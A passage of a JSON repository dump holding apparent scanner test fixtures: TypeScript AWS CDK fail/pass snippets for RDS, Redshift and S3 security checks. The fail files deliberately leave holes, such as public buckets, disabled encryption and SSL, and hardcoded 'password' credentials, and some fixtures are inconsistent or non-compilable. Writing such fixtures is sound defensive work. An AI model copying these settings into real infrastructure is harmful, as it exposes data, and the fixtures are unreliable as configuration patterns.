    "content": "import {aws_rds as rds} from 'aws-cdk-lib';\n\nconst instance2 = new rds.DatabaseInstance(this, \"PostgresInstance2\", {\n    engine: rds.DatabaseInstanceEngine.POSTGRES,\n    credentials: {\n        username: 'username',\n        password: 'password'\n    },\n    monitoringInterval: 1,\n});\n\nconst instance1 = new rds.DatabaseInstance(this, \"PostgresInstance2\", {\n    engine: rds.DatabaseInstanceEngine.POSTGRES,\n    credentials: {\n        username: 'username',\n        password: 'password'\n    },\n    monitoringInterval: 322424,\n});\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RDSMultiAZEnabled/fail.ts",
    "content": "// SOURCE\nimport { DatabaseInstance } from '@aws-cdk/aws-rds';\n\n// SINK\n// SINK: Vulnerability found due to missing Multi-AZ setting\nnew DatabaseInstance(stack, 'MyDatabaseInstance', {\n    instanceType: ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE2, ec2.InstanceSize.MICRO),\n    vpc\n    // missing Multi-AZ setting\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RDSMultiAZEnabled/pass.ts",
    "content": "// SOURCE\nimport { DatabaseInstance } from '@aws-cdk/aws-rds';\n\n// SINK\n// SINK: Vulnerability found due to missing Multi-AZ setting\nnew DatabaseInstance(stack, 'MyDatabaseInstance', {\n    instanceType: ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE2, ec2.InstanceSize.MICRO),\n    vpc,\n    multiAZ: true\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RDSPubliclyAccessible/fail.ts",
    "content": "// SOURCE\nimport { DatabaseInstance } from '@aws-cdk/aws-rds';\n\n// SINK\n// SINK: Vulnerability found due to publicly accessible setting\nnew DatabaseInstance(stack, 'MyDatabaseInstance', {\n    instanceType: ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE2, ec2.InstanceSize.MICRO),\n    vpc\n    // publicly accessible setting missing\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RDSPubliclyAccessible/pass.ts",
    "content": "// SOURCE\nimport { DatabaseInstance } from '@aws-cdk/aws-rds';\n\n// SINK\nnew DatabaseInstance(stack, 'MyDatabaseInstance', {\n    instanceType: ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE2, ec2.InstanceSize.MICRO),\n    vpc, publicly_accessible: true\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedShiftSSL/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as redshift from 'aws-cdk-lib/aws-redshift';\n\nclass MyRedshiftClusterParameterGroupStack extends cdk.Stack {\n    constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        // Define Redshift Cluster Parameter Group with require_ssl parameter\n        new redshift.CfnClusterParameterGroup(this, 'MyRedshiftClusterParameterGroup', {\n            description: 'My Redshift Parameter Group',\n            parameterGroupFamily: 'redshift-1.0',\n            parameters: [\n                {\n                    parameterName: 'require_ssl',\n                    parameterValue: 'false',\n                },\n                // Add other parameters if needed\n            ],\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew MyRedshiftClusterParameterGroupStack(app, 'MyRedshiftClusterParameterGroupStack');\napp.synth();\n\nclass MyRedshiftClusterParameterGroupStack2 extends cdk.Stack {\n    constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        // Define Redshift Cluster Parameter Group with abc parameter\n        new redshift.CfnClusterParameterGroup(this, 'MyRedshiftClusterParameterGroup2', {\n            description: 'My Redshift Parameter Group 2',\n            parameterGroupFamily: 'redshift-1.0',\n        });\n    }\n}\n\nnew MyRedshiftClusterParameterGroupStack2(app, 'MyRedshiftClusterParameterGroupStack2');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedShiftSSL/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as redshift from 'aws-cdk-lib/aws-redshift';\n\nclass MyRedshiftClusterParameterGroupStack extends cdk.Stack {\n    constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        // Define Redshift Cluster Parameter Group with require_ssl parameter\n        new redshift.CfnClusterParameterGroup(this, 'MyRedshiftClusterParameterGroup', {\n            description: 'My Redshift Parameter Group',\n            parameterGroupFamily: 'redshift-1.0',\n            parameters: [\n                {\n                    parameterName: 'require_ssl',\n                    parameterValue: 'true',\n                },\n                // Add other parameters if needed\n            ],\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew MyRedshiftClusterParameterGroupStack(app, 'MyRedshiftClusterParameterGroupStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedshiftClusterEncryption/fail__2__.ts",
    "content": "import * as redshift from '@aws-cdk/aws-redshift-alpha';\nimport * as kms from 'aws-cdk-lib/aws-kms';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport { Stack, App } from 'aws-cdk-lib';\n\nconst app = new App();\nconst stack = new Stack(app, 'RedshiftStack');\n\n// Create a VPC\nconst vpc = new ec2.Vpc(stack, 'Vpc', {\n    maxAzs: 2\n});\n\n// Create a KMS key for encryption\nconst kmsKey = new kms.Key(stack, 'KmsKey');\n\nconst cluster = new redshift.Cluster(stack, 'MyCluster', {\n    masterUser: {\n        masterUsername: 'admin',\n    },\n    vpc,\n});\n\nimport * as redshift from 'aws-cdk-lib/aws_redshift';\nimport * as kms from 'aws-cdk-lib/aws-kms';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport { Stack, App } from 'aws-cdk-lib';\n\nconst app = new App();\nconst stack = new Stack(app, 'RedshiftStack');\n\n// Create a VPC\nconst vpc = new ec2.Vpc(stack, 'Vpc', {\n    maxAzs: 2\n});\n\n// Create a KMS key for encryption\nconst kmsKey = new kms.Key(stack, 'KmsKey');\n\nconst cfnCluster = new redshift.CfnCluster(stack, 'MyCfnCluster', {\n    clusterType: 'multi-node',\n    dbName: 'mydatabase',\n    masterUsername: 'admin',\n    masterUserPassword: 'password',\n    nodeType: 'ds2.xlarge',\n    numberOfNodes: 3,\n    kmsKeyId: kmsKey.keyArn, // Use the specific KMS key\n    vpcSecurityGroupIds: [ /* security group IDs */ ],\n    clusterSubnetGroupName: vpc.selectSubnets({ subnetType: ec2.SubnetType.PRIVATE_WITH_EGRESS }).subnetIds[0],\n});\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedshiftClusterEncryption/pass.ts",
    "content": "import * as redshift from '@aws-cdk/aws-redshift-alpha';\nimport * as kms from 'aws-cdk-lib/aws-kms';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport { Stack, App } from 'aws-cdk-lib';\n\nconst app = new App();\nconst stack = new Stack(app, 'RedshiftStack');\n\n// Create a VPC\nconst vpc = new ec2.Vpc(stack, 'Vpc', {\n    maxAzs: 2\n});\n\n// Create a KMS key for encryption\nconst kmsKey = new kms.Key(stack, 'KmsKey');\n\nconst cluster = new redshift.Cluster(stack, 'MyCluster', {\n    masterUser: {\n        masterUsername: 'admin',\n    },\n    vpc,\n    encryption: true,\n});\n\nimport * as redshift from 'aws-cdk-lib/aws_redshift';\nimport * as kms from 'aws-cdk-lib/aws-kms';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport { Stack, App } from 'aws-cdk-lib';\n\nconst app = new App();\nconst stack = new Stack(app, 'RedshiftStack');\n\n// Create a VPC\nconst vpc = new ec2.Vpc(stack, 'Vpc', {\n    maxAzs: 2\n});\n\n// Create a KMS key for encryption\nconst kmsKey = new kms.Key(stack, 'KmsKey');\n\nconst cfnCluster = new redshift.CfnCluster(stack, 'MyCfnCluster', {\n    clusterType: 'multi-node',\n    dbName: 'mydatabase',\n    masterUsername: 'admin',\n    masterUserPassword: 'password',\n    nodeType: 'ds2.xlarge',\n    numberOfNodes: 3,\n    encryption: true,\n    kmsKeyId: kmsKey.keyArn, // Use the specific KMS key\n    vpcSecurityGroupIds: [ /* security group IDs */ ],\n    clusterSubnetGroupName: vpc.selectSubnets({ subnetType: ec2.SubnetType.PRIVATE_WITH_EGRESS }).subnetIds[0],\n});\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedshiftClusterLogging/fail.ts",
    "content": "// SOURCE\nimport { Cluster } from '@aws-cdk/aws-redshift';\n\n// SINK\n// SINK: Vulnerability found due to missing logging enabled\nnew Cluster(stack, 'MyRedshiftCluster', {\n    masterUser: {\n        masterUsername: 'admin',\n        masterPassword: 'password',\n    },\n    vpc\n    // logging enabled missing\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedshiftClusterLogging/pass.ts",
    "content": "// SOURCE\nimport { Cluster } from '@aws-cdk/aws-redshift';\n\n// SINK\n// SINK: Vulnerability found due to missing logging enabled\nlet bucketName;\nlet stack;\nnew Cluster(stack, 'MyRedshiftCluster', {\n    masterUser: {\n        masterUsername: 'admin',\n        masterPassword: 'password',\n    },\n    logging_properties: Cluster.LoggingPropertiesProperty = {bucketName: 'name'}\n    // logging enabled missing\n});"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedshiftClusterPubliclyAccessible/fail.ts",
    "content": "// SOURCE\nimport { Cluster } from '@aws-cdk/aws-redshift';\n\n// SINK\n// SINK: Vulnerability found due to publicly accessible cluster\nnew Cluster(stack, 'MyRedshiftCluster', {\n    masterUser: {\n        masterUsername: 'admin',\n        masterPassword: 'password',\n    },\n    vpc,\n    publiclyAccessible: true, // publicly accessible cluster\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedshiftClusterPubliclyAccessible/pass.ts",
    "content": "// SOURCE\nimport { Cluster } from '@aws-cdk/aws-redshift';\n\n// SINK\n// SINK: Vulnerability found due to publicly accessible cluster\nnew Cluster(stack, 'MyRedshiftCluster', {\n    masterUser: {\n        masterUsername: 'admin',\n        masterPassword: 'password',\n    },\n    vpc,\n    publiclyAccessible: false,\n});\nnew Cluster(stack, 'MyRedshiftCluster', {\n    masterUser: {\n        masterUsername: 'admin',\n        masterPassword: 'password',\n    },\n    vpc\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedshiftInEc2ClassicMode/fail.ts",
    "content": "// SOURCE\nimport { Cluster } from '@aws-cdk/aws-redshift';\n\n// SINK\n// SINK: Vulnerability found due to Redshift cluster deployed outside of a VPC\nnew Cluster(stack, 'MyRedshiftCluster', {\n    masterUser: {\n        masterUsername: 'admin',\n        masterPassword: 'password',\n    },\n    vpc: vpc\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RedshiftInEc2ClassicMode/pass.ts",
    "content": "// SOURCE\nimport { Cluster } from '@aws-cdk/aws-redshift';\n\n// SINK\nnew Cluster(stack, 'MyRedshiftCluster', {\n    masterUser: {\n        masterUsername: 'admin',\n        masterPassword: 'password',\n    },\n    vpc: vpc,\n    clusterSubnetGroupName: 'name'\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BlockPublicACLs/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Stack, App } from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\n\nconst app = new App();\nconst stack = new Stack(app, 'S3BucketStack');\n\n// Create an S3 bucket with blockPublicAcls enabled\nconst bucket = new s3.Bucket(stack, 'MyBucket', {\n    blockPublicAccess: s3.BlockPublicAccess.IGNORE_ACLS,\n    versioned: true,\n    removalPolicy: cdk.RemovalPolicy.DESTROY,\n    autoDeleteObjects: true,\n});\n\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BlockPublicACLs/fail__3__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Stack, App } from 'aws-cdk-lib';\nimport { Bucket, BlockPublicAccess } from 'aws-cdk-lib/aws-s3';\n\nconst app = new App();\nconst stack = new Stack(app, 'S3BucketStack');\n\n// Create an S3 bucket with blockPublicAcls enabled\nconst bucket = new Bucket(stack, 'MyBucket', {\n    blockPublicAccess: BlockPublicAccess.IGNORE_ACLS,\n    versioned: true,\n    removalPolicy: cdk.RemovalPolicy.DESTROY,\n    autoDeleteObjects: true,\n});\n\nconst bucket2 = new Bucket(stack, 'MyBucket', {\n    versioned: true,\n    removalPolicy: cdk.RemovalPolicy.DESTROY,\n    autoDeleteObjects: true,\n});\n\napp.synth();\n\nimport * as cdk from 'aws-cdk-lib';\nimport { Stack, App } from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\n\nconst app = new App();\nconst stack = new Stack(app, 'S3BucketStack');\n\n// Create an S3 bucket with blockPublicAcls enabled\nconst bucket = new s3.CfnBucket(stack, 'MyBucket', {\n    bucketName: 'my-bucket-name', // Optional: Specify a bucket name\n    versioningConfiguration: {\n        status: 'Enabled',\n    },\n    publicAccessBlockConfiguration: {\n        blockPublicAcls: false, // Only block public ACLs\n        ignorePublicAcls: true,\n    },\n});\n\nbucket.applyRemovalPolicy(cdk.RemovalPolicy.DESTROY);\n\napp.synth();\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BlockPublicACLs/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Stack, App } from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\n\nconst app = new App();\nconst stack = new Stack(app, 'S3BucketStack');\n\n// Create an S3 bucket with blockPublicAcls enabled\nconst bucket = new s3.Bucket(stack, 'MyBucket', {\n  blockPublicAccess: s3.BlockPublicAccess.BLOCK_ACLS, // Only block public ACLs\n  versioned: true,\n  removalPolicy: cdk.RemovalPolicy.DESTROY, // NOT recommended for production code\n  autoDeleteObjects: true, // NOT recommended for production code\n});\n\nconst bucket2 = new s3.Bucket(stack, 'MyBucket', {\n  blockPublicAccess: s3.BlockPublicAccess.BLOCK_ALL, // Only block public ACLs\n  versioned: true,\n  removalPolicy: cdk.RemovalPolicy.DESTROY, // NOT recommended for production code\n  autoDeleteObjects: true, // NOT recommended for production code\n});\n\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BlockPublicACLs/pass2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Stack, App } from 'aws-cdk-lib';\nimport { Bucket, BlockPublicAccess } from 'aws-cdk-lib/aws-s3';\n\nconst app = new App();\nconst stack = new Stack(app, 'S3BucketStack');\n\n// Create an S3 bucket with blockPublicAcls enabled\nconst bucket = new Bucket(stack, 'MyBucket', {\n  blockPublicAccess: BlockPublicAccess.BLOCK_ACLS, // Only block public ACLs\n  versioned: true,\n  removalPolicy: cdk.RemovalPolicy.DESTROY, // NOT recommended for production code\n  autoDeleteObjects: true, // NOT recommended for production code\n});\n\nconst bucket2 = new Bucket(stack, 'MyBucket', {\n  blockPublicAccess: BlockPublicAccess.BLOCK_ALL, // Only block public ACLs\n  versioned: true,\n  removalPolicy: cdk.RemovalPolicy.DESTROY, // NOT recommended for production code\n  autoDeleteObjects: true, // NOT recommended for production code\n});\n\napp.synth();\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BlockPublicACLs/pass3.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Stack, App } from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\n\nconst app = new App();\nconst stack = new Stack(app, 'S3BucketStack');\n\n// Create an S3 bucket with blockPublicAcls enabled\nconst bucket = new s3.CfnBucket(stack, 'MyBucket', {\n  bucketName: 'my-bucket-name', // Optional: Specify a bucket name\n  versioningConfiguration: {\n    status: 'Enabled',\n  },\n  publicAccessBlockConfiguration: {\n    blockPublicAcls: true, // Only block public ACLs\n    ignorePublicAcls: true,\n  },\n});\n\n// Add deletion policy to the bucket\nbucket.applyRemovalPolicy(cdk.RemovalPolicy.DESTROY); // NOT recommended for production code\n\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BlockPublicPolicy/fail.ts",
    "content": "// FINDING\nimport { Bucket } from '@aws-cdk/aws-s3';\n\n// SINK\n// SINK: Vulnerability found due to S3 bucket missing block public policy\nnew Bucket(stack, 'MyBucket', {\n    publicReadAccess: true, // This should be 'false' to block public policy\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BlockPublicPolicy/pass.ts",
    "content": "// FINDING\nimport { Bucket } from '@aws-cdk/aws-s3';\n\n// SINK\n// SINK: Vulnerability found due to S3 bucket missing block public policy\nnew Bucket(stack, 'MyBucket', {\n    publicReadAccess: false, // This should be 'false' to block public policy\n});\nnew Bucket(stack, 'MyBucket', {\n    random_param: false,\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketEncryption/fail2__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new Bucket(this, 'example', {});\n\n    const fail2 = new Bucket(this, 'example', {\n      encryption: BucketEncryption.UNENCRYPTED\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketEncryption/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new s3.Bucket(this, 'example', {});\n\n    const fail2 = new s3.Bucket(this, 'example', {\n      encryption: s3.BucketEncryption.UNENCRYPTED\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new s3.Bucket(this, 'example', {\n      encryption: s3.BucketEncryption.S3_MANAGED,\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketEncryption/pass2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new Bucket(this, 'example', {\n      encryption: BucketEncryption.KMS\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketKMSEncryption/fail2__3__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new Bucket(this, 'example', {});\n\n    const fail2 = new Bucket(this, 'example', {\n      encryption: BucketEncryption.UNENCRYPTED\n    });\n\n    const fail3 = new Bucket(this, 'example', {\n      encryption: BucketEncryption.S3_MANAGED\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketKMSEncryption/fail__3__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new s3.Bucket(this, 'example', {});\n\n    const fail2 = new s3.Bucket(this, 'example', {\n      encryption: s3.BucketEncryption.UNENCRYPTED\n    });\n\n    const fail3 = new s3.Bucket(this, 'example', {\n      encryption: s3.BucketEncryption.S3_MANAGED\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketKMSEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new s3.Bucket(this, 'example', {\n      encryption: s3.BucketEncryption.KMS_MANAGED\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketKMSEncryption/pass2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new Bucket(this, 'example', {\n      encryption: BucketEncryption.KMS\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketLogging/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new s3.Bucket(this, 'example', {});\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketLogging/fail2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new Bucket(this, 'example', {});\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketLogging/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new s3.Bucket(this, 'example', {\n      // this would normally reference another bucket, but then I can't separate the tests\n      serverAccessLogsBucket: bucket\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketLogging/pass2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new Bucket(this, 'example', {\n      // this would normally reference another bucket, but then I can't separate the tests\n      serverAccessLogsBucket: bucket\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketPublicAccessBlock/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new s3.Bucket(this, 'example', {});\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketPublicAccessBlock/fail2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new Bucket(this, 'example', {});\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketPublicAccessBlock/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new s3.Bucket(this, 'example', {\n      blockPublicAccess: s3.BlockPublicAccess.BLOCK_ALL\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketPublicAccessBlock/pass2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket, BlockPublicAccess } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new Bucket(this, 'example', {\n      blockPublicAccess: BlockPublicAccess.BLOCK_ALL\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketVersioning/fail2__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new Bucket(this, 'example', {});\n\n    const fail2 = new Bucket(this, 'example', {\n      versioned: false\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketVersioning/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const fail = new s3.Bucket(this, 'example', {});\n\n    const fail2 = new s3.Bucket(this, 'example', {\n      versioned: false\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketVersioning/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new s3.Bucket(this, 'example', {\n      versioned: true\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3BucketVersioning/pass2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Bucket } from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n  constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    const pass = new Bucket(this, 'example', {\n      versioned: true\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3PublicACLRead/fail__3__.ts",
    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\n\nclass S3BucketExampleStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        // Bucket with PUBLIC_READ access - Match\n        new s3.Bucket(this, 'MyPublicReadBucket', {\n            accessControl: s3.BucketAccessControl.PUBLIC_READ,\n        });\n\n        new s3.Bucket(this, 'MyPrivateReadBucket');\n\n        // Bucket with PUBLIC_READ_WRITE access\n        new s3.Bucket(this, 'MyPublicReadWriteBucket', {\n            accessControl: s3.BucketAccessControl.PUBLIC_READ_WRITE,\n        });\n\n        // Bucket with publicReadAccess set to true\n        new s3.Bucket(this, 'MyPublicReadAccessBucket', {\n            publicReadAccess: true,\n        });\n\n        // Bucket with publicReadAccess set to true\n        new s3.Bucket(this, 'MyPublicReadAccessBucket', {\n            publicReadAccess: false,\n        });\n    }\n}\n\nconst app = new App();\nnew S3BucketExampleStack(app, 'S3BucketExampleStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3PublicACLRead/pass.ts",
